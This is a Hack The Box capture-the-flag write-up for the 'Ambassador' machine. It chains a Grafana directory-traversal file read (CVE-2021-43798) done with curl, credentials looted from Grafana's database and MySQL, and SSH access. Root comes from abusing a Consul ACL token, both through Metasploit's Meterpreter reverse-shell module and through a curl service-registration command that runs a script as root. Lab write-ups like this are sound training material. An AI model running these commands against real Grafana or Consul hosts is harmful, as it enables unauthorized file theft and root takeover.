Home (HTB) - Ambassador
Post
Cancel
image alternative text

(HTB) - Ambassador

Enumeration

NMAP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Nmap scan report for 10.10.11.183
Host is up (0.033s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
| ssh-hostkey: 
|   3072 29dd8ed7171e8e3090873cc651007c75 (RSA)
|   256 80a4c52e9ab1ecda276439a408973bef (ECDSA)
|_  256 f590ba7ded55cb7007f2bbc891931bf6 (ED25519)
80/tcp   open  http
|_http-generator: Hugo 0.94.2
|_http-title: Ambassador Development Server
3000/tcp open  ppp
3306/tcp open  mysql
| mysql-info: 
|   Protocol: 10
|   Version: 8.0.30-0ubuntu0.20.04.2
|   Thread ID: 15
|   Capabilities flags: 65535
|   Some Capabilities: Support41Auth, SupportsLoadDataLocal, InteractiveClient, FoundRows, IgnoreSigpipes, LongPassword, IgnoreSpaceBeforeParenthesis, Speaks41ProtocolOld, SupportsCompression, DontAllowDatabaseTableColumn, LongColumnFlag, Speaks41ProtocolNew, ConnectWithDatabase, SwitchToSSLAfterHandshake, SupportsTransactions, ODBCClient, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: M,\x11\x0C\x110<\x01\x0D%5zru2j{z\x14U
|_  Auth Plugin Name: caching_sha2_password

We have 3 ports open which might be insteressting. Mysql (for which we don’t have any credentials (yet)) and web server on ports 80 and 3000

Website on port 80

picture 1

There’s nothing special running port 80 and the webserver. At least not on first sight.

Grafana on port 3000

If we check what’s on port 3000, we’ll find Grafana, and we also enumerate the version, since it’s on the login page => v8.2.0 (d7f71e9eae).

picture 2

Initial foothold - getting access as “developer”

Grafana - Directory Traversal and Arbitrary File Read - CVE-2021-43798

Grafana is vulnerable to 2021-43798 (Directory Traversal and Arbitrary File Read). I’ve used following exploit https://www.exploit-db.com/exploits/50581, we can however also just use curl.

1
curl --path-as-is http://10.10.11.183:3000/public/plugins/barchart/../../../../../../../../../../../../../var/lib/grafana/grafana.db -o db.db

Request above returns grafana database, which we can read localy.

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(luka㉿yokai)-[~/htb/boxes/ambasador]
└─$ sqlite3 db.db 
SQLite version 3.39.4 2022-09-29 15:55:41
Enter ".help" for usage hints.
sqlite> .tables
alert                       login_attempt             
...     
dashboard_tag               team_member               
dashboard_version           temp_user                 
data_source                 test_data                 
kv_store                    user                      
library_element             user_auth                 
library_element_connection  user_auth_token   

Password can be found in data_source table in plain text.

1
2
sqlite> select * from data_source;
2|1|1|mysql|mysql.yaml|proxy||dontStandSoCloseToMe63221!|grafana|grafana|0|||0|{}|2022-09-01 22:43:03|2022-11-24 19:20:49|0|{}|1|uKewFgM4z

Mysql credentials are grafana:dontStandSoCloseToMe63221!

Explore the MySQL on 3306

As now we’ve got the credentials, let’s try to connect to MySql database.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(luka㉿yokai)-[~/htb/boxes/ambasador]
└─$ mysql -h 10.10.11.183 -u grafana -p'dontStandSoCloseToMe63221!'
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 35
Server version: 8.0.30-0ubuntu0.20.04.2 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| grafana            |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| whackywidget       |
+--------------------+
6 rows in set (0.050 sec)

Change database to whackywidget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
MySQL [(none)]> use whackywidget;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [whackywidget]> show tables;
+------------------------+
| Tables_in_whackywidget |
+------------------------+
| users                  |
+------------------------+
1 row in set (0.036 sec)

MySQL [whackywidget]> select * from users;
+-----------+------------------------------------------+
| user      | pass                                     |
+-----------+------------------------------------------+
| developer | YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg== |
+-----------+------------------------------------------+
1 row in set (0.043 sec)

We have developer’s credentials now.

Decoding the developer’s password and logging in via SSH

We can base64 decode the credentials that we’ve found in the mysql database and login using SSH.

1
2
3
4
5
6
7
8
9
10
11
┌──(luka㉿yokai)-[~/htb/boxes/ambasador]
└─$ echo "YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg==" | base64 -d
anEnglishManInNewYork027468

┌──(luka㉿yokai)-[~/htb/boxes/ambasador]
└─$ ssh -l developer 10.10.11.183
...

Last login: Fri Sep  2 02:33:30 2022 from 10.10.0.1
developer@ambassador:~$ id
uid=1000(developer) gid=1000(developer) groups=1000(developer)

Credentials work for ssh: developer:anEnglishManInNewYork027468

Privilege Escalation

While being logged in as developer and after reading the flag, we might notice .gitconfig file in the home directory.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
developer@ambassador:~$ ls -la
total 48
drwxr-xr-x 7 developer developer 4096 Sep 14 11:01 .
drwxr-xr-x 3 root      root      4096 Mar 13  2022 ..
lrwxrwxrwx 1 root      root         9 Sep 14 11:01 .bash_history -> /dev/null
-rw-r--r-- 1 developer developer  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 developer developer 3798 Mar 14  2022 .bashrc
drwx------ 3 developer developer 4096 Mar 13  2022 .cache
-rw-rw-r-- 1 developer developer   93 Sep  2 02:28 .gitconfig
drwx------ 3 developer developer 4096 Mar 14  2022 .gnupg
drwxrwxr-x 3 developer developer 4096 Mar 13  2022 .local
-rw-r--r-- 1 developer developer  807 Feb 25  2020 .profile
drwx------ 3 developer developer 4096 Mar 14  2022 snap
drwx------ 2 developer developer 4096 Mar 13  2022 .ssh
-rw-r----- 1 root      developer   33 Nov 24 19:20 user.txt

developer@ambassador:~$ cat .gitconfig 
[user]
        name = Developer
        email = developer@ambassador.local
[safe]
        directory = /opt/my-app

If we follow the git directory and check the /opt/my-app we’ll find whackywidget again

1
2
3
4
5
6
7
8
developer@ambassador:/opt/my-app$ ls -la
total 24
drwxrwxr-x 5 root root 4096 Mar 13  2022 .
drwxr-xr-x 4 root root 4096 Sep  1 22:13 ..
drwxrwxr-x 4 root root 4096 Mar 13  2022 env
drwxrwxr-x 8 root root 4096 Mar 14  2022 .git
-rw-rw-r-- 1 root root 1838 Mar 13  2022 .gitignore
drwxrwxr-x 3 root root 4096 Mar 13  2022 whackywidget

By the way. We also should note the consul app that’s find in /opt because who knows…

In /opt/my-app we can either use git commands or browse the .git directory.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
developer@ambassador:/opt/my-app$ git log
commit 33a53ef9a207976d5ceceddc41a199558843bf3c (HEAD -> main)
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 23:47:36 2022 +0000

    tidy config script

commit c982db8eff6f10f8f3a7d802f79f2705e7a21b55
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 23:44:45 2022 +0000

    config script

commit 8dce6570187fd1dcfb127f51f147cd1ca8dc01c6
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 22:47:01 2022 +0000

    created project with django CLI

commit 4b8597b167b2fbf8ec35f992224e612bf28d9e51
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 22:44:11 2022 +0000

    .gitignore

What should immediately draw our attention is that there has been some changes in the config. We should check what this were.

Consul

What is Consul? Consul is a service networking solution that enables teams to manage secure network connectivity between services and across multi-cloud environments and runtimes. Consul offers service discovery, identity-based authorization, L7 traffic management, and service-to-service encryption.

Reference: https://developer.hashicorp.com/consul

picture 3

We will need the token above, so make not of it.

As that token has enough privileges to start services (consul runs as root!) we can do so.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
developer@ambassador:/opt/consul$ consul acl token list --token bb03b43b-1d81-d62b-24b5-39540ee469b5
AccessorID:       00000000-0000-0000-0000-000000000002
SecretID:         anonymous
Description:      Anonymous Token
Local:            false
Create Time:      2022-03-13 23:14:16.941144142 +0000 UTC
Legacy:           false

AccessorID:       2aae5590-4b99-3b3d-56d9-71b61ee9e744
SecretID:         bb03b43b-1d81-d62b-24b5-39540ee469b5
Description:      Bootstrap Token (Global Management)
Local:            false
Create Time:      2022-03-13 23:14:25.977142971 +0000 UTC
Legacy:           false
Policies:
   00000000-0000-0000-0000-000000000001 - global-management
1
2
3
developer@ambassador:/opt/consul$ consul members --token bb03b43b-1d81-d62b-24b5-39540ee469b5 
Node        Address         Status  Type    Build   Protocol  DC   Partition  Segment
ambassador  127.0.0.1:8301  alive   server  1.13.2  2         dc1  default    <all>

We can enumerate more configuration using following command

1
curl http://127.0.0.1:8500/v1/agent/self -H 'X-Consul-Token: bb03b43b-1d81-d62b-24b5-39540ee469b5' -s | python3 -m json.tool

Exploitation using Meterpreter (creates service on Consul)

Let’s set up local port forwarding on the attackers machine using SSH. We’re interessted on port 8500

1
ssh -N -L 8500:localhost:8500 -l developer 10.10.11.183

Metasploit options

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
msf6 exploit(multi/misc/consul_service_exec) > options

Module options (exploit/multi/misc/consul_service_exec):

   Name       Current Setting                       Required  Description
   ----       ---------------                       --------  -----------
   ACL_TOKEN  bb03b43b-1d81-d62b-24b5-39540ee469b5  no        Consul Agent ACL token
   Proxies                                          no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     127.0.0.1                             yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT      8500                                  yes       The target port (TCP)
   SRVHOST    0.0.0.0                               yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080                                  yes       The local port to listen on.
   SSL        false                                 no        Negotiate SSL/TLS for outgoing connections
   SSLCert                                          no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                                     yes       The base path
   URIPATH                                          no        The URI to use for this exploit (default is random)
   VHOST                                            no        HTTP server virtual host


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.14.8       yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Linux

And we have root access and can simply access root shell if we want to!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
msf6 exploit(multi/misc/consul_service_exec) > run

[*] Started reverse TCP handler on 10.10.14.8:4444 
[*] Creating service 'GWpSvUawj'
[*] Service 'GWpSvUawj' successfully created.
[*] Waiting for service 'GWpSvUawj' script to trigger
[*] Sending stage (1017704 bytes) to 10.10.11.183
[*] Meterpreter session 2 opened (10.10.14.8:4444 -> 10.10.11.183:52326) at 2022-11-25 14:35:02 +0100
[*] Removing service 'GWpSvUawj'
[*] Command Stager progress - 100.00% done (763/763 bytes)

meterpreter > getuid 
Server username: root
meterpreter > sysinfo
Computer     : 10.10.11.183
OS           : Ubuntu 20.04 (Linux 5.4.0-126-generic)
Architecture : x64
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux

The Manual Way

We will register a new service using following command:

1
developer@ambassador:/tmp$ curl -X PUT -d '{"ID": "id", "Name": "name", "Address": "127.0.0.1", "Port": 80, "check": {"Args": ["/usr/bin/bash", "/tmp/run.sh"], "interval": "10s", "timeout": "1s"}}' -H 'X-Consul-Token: bb03b43b-1d81-d62b-24b5-39540ee469b5' http://127.0.0.1:8500/v1/agent/service/register 

We’ll start /tmp/run.sh using the command above above, which simply copies root.txt and makes it readable for developer.

1
2
3
developer@ambassador:/tmp$ cat run.sh 
cp /root/root.txt /tmp/root.txt
chown developer:developer /tmp/root.txt

You can go for shell or anything you want if you like ;).

1
2
developer@ambassador:/tmp$ ls -la root.txt 
-rw-r----- 1 developer developer 33 Nov 25 17:33 root.txt

This is however pretty much the same thing what meterpreter did for us above

picture 4

This post is licensed under CC BY 4.0 by the author.